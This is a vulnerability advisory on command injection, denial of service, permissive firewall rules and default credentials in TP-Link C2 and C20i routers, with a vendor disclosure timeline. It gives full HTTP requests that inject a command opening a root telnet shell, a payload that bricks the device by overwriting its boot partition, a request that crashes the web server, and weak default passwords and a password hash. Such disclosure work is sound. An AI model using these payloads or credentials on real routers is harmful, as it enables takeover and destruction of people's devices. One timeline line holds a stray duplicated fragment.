Product Description

TP-Link is a Chinese manufacturer of computer networking products such as routers and IOT devices.

Vulnerabilities Summary

Command Injections exist in the HTTP management interface up to the latest firmware version (0.9.1 4.2 v0032.0 Build 160706 Rel.37961n) of TP-Link C2 and C20i, allowing an authenticated attacker to get a remote shell with root privileges.

An attacker can DoS the httpd server and the firewall rules are too permissive by default on the WAN interface.

Details - CVE-2017-8220 - RCE with a single HTTP request

Using the so-called "Diagnostic" page, the attacker can run any command including telnetd, using the remote host field of the ping utility:

$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)

While being authenticated (see the credentials in base64 format), sending this HTTP request directly will start a telnetd on the router on port 25/tcp without authentication:

POST /cgi?2 HTTP/1.1 Host: 192.168.1.1 Content-Type: text/plain Referer: http://192.168.1.1/mainFrame.htm Content-Length: 208 Cookie: Authorization=Basic YWRtaW46YWRtaW4= Connection: close [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6 dataBlockSize=64 timeout=1 numberOfRepetitions=1 host=$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25) X_TP_ConnName=ewan_ipoe_d diagnosticsState=Requested

An attacker can also use backsticks to execute commands:

`echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25`

Resulting access:

user@kali:~/tplink-0day-c2-and-c20i$ telnet 192.168.1.1 25 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. ~ # ls web usr sbin mnt lib dev var sys proc linuxrc etc bin ~ # cat /proc/version Linux version 2.6.36 (root@localhost.localdomain) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Wed Jul 6 10:01:06 HKT 2016 ~ # ls -la drwxr-xr-x 9 176 web drwxr-xr-x 13 0 var drwxr-xr-x 4 38 usr drwxr-xr-x 11 0 sys drwxr-xr-x 2 193 sbin dr-xr-xr-x 83 0 proc drwxr-xr-x 2 3 mnt lrwxrwxrwx 1 11 linuxrc -> bin/busybox drwxr-xr-x 3 786 lib drwxr-xr-x 5 776 etc drwxr-xr-x 5 1274 dev drwxr-xr-x 2 280 bin drwxr-xr-x 13 177 .. drwxr-xr-x 13 177 . ~ # cd etc /etc # ls vsftpd_passwd init.d SingleSKU_5G_RU.dat vsftpd.conf group SingleSKU_5G_NZ.dat ushare.conf fstab SingleSKU_5G_MY.dat services default_config.xml SingleSKU_5G_KR.dat samba TZ SingleSKU_5G_FCC.dat resolv.conf SingleSKU_RU.dat SingleSKU_5G_CE.dat reduced_data_model.xml SingleSKU_NZ.dat SingleSKU_5G_CA.dat ppp SingleSKU_MY.dat RT2860AP5G.dat passwd.bak SingleSKU_KR.dat RT2860AP.dat passwd SingleSKU_FCC.dat MT7620_AP_2T2R-4L_V15.BIN iptables-stop SingleSKU_CE.dat MT7610E-V10-FEM-1ANT.bin inittab SingleSKU_5G_VN.dat /etc # cd .. ~ # ls -la drwxr-xr-x 9 176 web drwxr-xr-x 13 0 var drwxr-xr-x 4 38 usr drwxr-xr-x 11 0 sys drwxr-xr-x 2 193 sbin dr-xr-xr-x 83 0 proc drwxr-xr-x 2 3 mnt lrwxrwxrwx 1 11 linuxrc -> bin/busybox drwxr-xr-x 3 786 lib drwxr-xr-x 5 776 etc drwxr-xr-x 5 1274 dev drwxr-xr-x 2 280 bin drwxr-xr-x 13 177 .. drwxr-xr-x 13 177 . ~ # ps PID USER VSZ STAT COMMAND 1 admin 1060 S init 2 admin 0 SW [kthreadd] 3 admin 0 SW [ksoftirqd/0] 4 admin 0 SW [kworker/0:0] 5 admin 0 SW [kworker/u:0] 6 admin 0 SW< [khelper] 7 admin 0 SW [kworker/u:1] 44 admin 0 SW [sync_supers] 46 admin 0 SW [bdi-default] 48 admin 0 SW< [kblockd] 80 admin 0 SW [kswapd0] 82 admin 0 SW< [crypto] 130 admin 0 SW [mtdblock0] 135 admin 0 SW [mtdblock1] 140 admin 0 SW [mtdblock2] 145 admin 0 SW [mtdblock3] 150 admin 0 SW [mtdblock4] 155 admin 0 SW [mtdblock5] 160 admin 0 SW [mtdblock6] 172 admin 0 SW [kworker/0:1] 214 admin 0 SW [khubd] 245 admin 1060 S telnetd 251 admin 2932 S cos 252 admin 1060 S init 255 admin 2120 S igmpd 258 admin 2144 S mldProxy 345 admin 2932 S cos 346 admin 2932 S cos 347 admin 2932 S cos 366 admin 2088 S ntpc 371 admin 2096 S dyndns /var/tmp/dconf/dyndns.conf 374 admin 2096 S noipdns /var/tmp/dconf/noipdns.conf 377 admin 2096 S cmxdns /var/tmp/dconf/cmxdns.conf 433 admin 0 SW [RtmpCmdQTask] 434 admin 0 SW [RtmpWscTask] 445 admin 1244 S wlNetlinkTool 449 admin 1080 S wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ 465 admin 1244 S wlNetlinkTool 466 admin 1244 S wlNetlinkTool 489 admin 0 SW [RtmpCmdQTask] 490 admin 0 SW [RtmpWscTask] 503 admin 1064 S wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/ 506 admin 2668 S httpd 518 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 521 admin 2084 S dnsProxy 526 admin 1068 S dhcpd /var/tmp/dconf/udhcpd.conf 551 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 552 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 553 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 554 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 555 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 556 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 557 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 558 admin 2668 S tmpd 561 admin 2556 S tdpd 569 admin 988 S dhcpc 578 admin 1036 S zebra -d -f /var/tmp/dconf/zebra.conf 594 admin 2088 S diagTool 625 admin 1136 S dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos 642 admin 2468 S ushare 658 admin 2468 S ushare 660 admin 2468 S ushare 661 admin 2468 S ushare 662 admin 2468 S ushare 663 admin 2468 S ushare 664 admin 2468 S ushare 666 admin 2468 S ushare 851 admin 1060 S /usr/sbin/telnetd -l /bin/sh -p 25 853 admin 1072 S /bin/sh 876 admin 1068 S /bin/sh 878 admin 2576 S cli 887 admin 1060 R ps ~ #

With this RCE, an attacker will be able to dump and modify the configuration by editing /dev/mtd3 . The configuration is written in XML format and is located in the beginning (starting at offset 0x10 ) of this MTD (64K).

If the attacker sends this string, the router will be unable to boot and will be bricked, by writing random characters on top of the u-boot partition:

POST /cgi?2 HTTP/1.1 Host: 192.168.1.1 Content-Type: text/plain Referer: http://192.168.1.1/mainFrame.htm Content-Length: 208 Cookie: Authorization=Basic YWRtaW46YWRtaW4= Connection: close [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6 dataBlockSize=64 timeout=1 numberOfRepetitions=1 host=$(echo 127.0.0.1; cat /dev/random > /dev/mtd0) X_TP_ConnName=ewan_ipoe_d diagnosticsState=Requested

Details - CVE-2017-8219 - DoSing the HTTP server

While being authenticated (see the credentials in base64 format), sending this HTTP request directly will crash the remote HTTP server:

GET /cgi/ansi HTTP/1.1 Host: 192.168.1.1 Content-Type: text/plain Referer: http://192.168.1.1/mainFrame.htm Content-Length: 208 Cookie: Authorization=Basic YWRtaW46YWRtaW4= Connection: close

A resulting core file will be written in the router inside the /var partition of the attacked router:

/var # ls -la /var/ drwxrwxrwx 2 0 lock drwxrwxrwx 2 0 log drwxrwxrwx 2 0 run drwxrwxrwx 7 0 tmp drwxr-xr-x 3 0 Wireless drwxrwxrwx 2 0 usbdisk drwxrwxrwx 2 0 dev drwxr-xr-x 5 0 samba -rw-r--r-- 1 132 passwd drwxrwxrwx 2 0 3G drwxrwxrwx 2 0 l2tp rwxrwxrwx 7 0 vsftp -rw------- 1 348160 core-httpd-506-11-1482798208 drwxr-xr-x 13 177 .. drwxr-xr-x 13 0 . /var #

Details - CVE-2017-8217 - Permissive Iptables rules

The default iptables rules are generated within /lib/libcmm.so by writing commands inside /var/tmp/dconf/rc.router and using system() on this file.

/var/tmp/dconf/rc.router :

#!/bin/sh [...] iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ iptables -t nat -A PREROUTING -j PREROUTING_DMZ iptables -t filter -A FORWARD -i br+ -j ACCEPT iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT [...]

By default, the SNMP port is open on every interface:

iptables -A INPUT -p udp --dport 161 -j ACCEPT

This can be verified with iptables on the router:

/proc # iptables -nL Chain INPUT (policy DROP) [...] ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:161 [...]

You can check too by reading the file /var/tmp/dconf/rc.router .

Luckily, even if SNMP configuration can be modified using the hidden /main/snmp.html webpage, it appears the snmpd has been removed from the firmware image.

Details - CVE-2017-8218 - Misc

The binaries ( /usr/bin/cos , /usr/bin/tmpd , /lib/libcmm.so ) are overall badly designed programs, executing tons of system() and running as root.

/usr/bin/cos is a daemon running as root and is launched at the end of /etc/init.d/rcS ( cos & ): it starts all the daemons using system (httpd ntpc dnsProxy dhcpd dhcpc snmpd upnpd diagTool voip_server voip_client pjsua cwmp wlNetlinkTool pppd dyndns igmpd zebra ushare smbd vsftpd telnetd, noipdns hostapd ipsecVpn radvd mldProxy racoon wscd...)

/usr/bin/tmpd is a daemon running as root and listens to 127.0.0.1:20002 .

/lib/libcmm.so is a library with all the main system functions (system reinitialisation [admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh], wifi configuration, debugging with TFTP[hi dutserver!], VPN configuration, ifconfig interfaces , insmod /lib/modules/pptp.ko , ...)

Vsftpd contains default weak passwords:

user@kali:~$ cat ./etc/vsftpd_passwd admin:1234:1:1;guest:guest:0:0;test:test:1:1;$ user@kali:~$

Access:

admin:1234 guest:guest test:test

Vendor Response

T-P-Link plans to release a new firmware in February 2017, patching all listed vulnerabilities. T-P-Link wants to draw attention that in order to exploit two over three security vulnerabilities, an attacker would need to have valid credentials.

Report Timeline

Sep 17, 2016: Vulnerabilities found by Pierre Kim.

Dec 26, 2016: TP-Link support is contacted by livechat. TP-Link replies there is no process to handle security problems in TP-Link routers and refuses to indicate a security point of contact.

Dec 27, 2016: TP-Link support is notified of the vulnerabilities (using support () tp-link.com, security () tp-link.com, lishaozhang () tp-link.net [from /lib/modules/ipt_STAT.ko ], huangwenzhong@tp-link.net [from /lib/modules/tp_domain.ko ]).

], huangwenzhong@tp-link.net [from ]). Dec 29, 2016: Pierre sends a full advisory to TP-Link security team.

Dec 30, 2016: TP-Link confirms the reception of the advisory.

Jan 03, 2017: Pierre asks TP-Link to confirm the vulnerabilities.

Jan 09, 2017: TP-Link confirms the security vulnerabilities in TP-Link C2 and C20i routers and security patches are in progress.

Jan 21, 2017: Ping from TP-Link about the "Vendor Response" section.

Jan 23, 2017: Pierre answers, asking details in the "Vendor Response" section.

Jan 24, 2017: TP-Link Korea contacts Pierre Kim about the vulnerabilities.

Jan 27, 2017: Pierre sends a final draft to TP-Link.

Feb 09, 2017: A public advisory is sent to security mailing lists.

Apr 25, 2017: MITRE provides CVE-2017-8217, CVE-2017-8218, CVE-2017-8219, CVE-2017-8220.

Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

References

https://pierrekim.github.io/advisories/2017-tplink-0x00.txt

https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/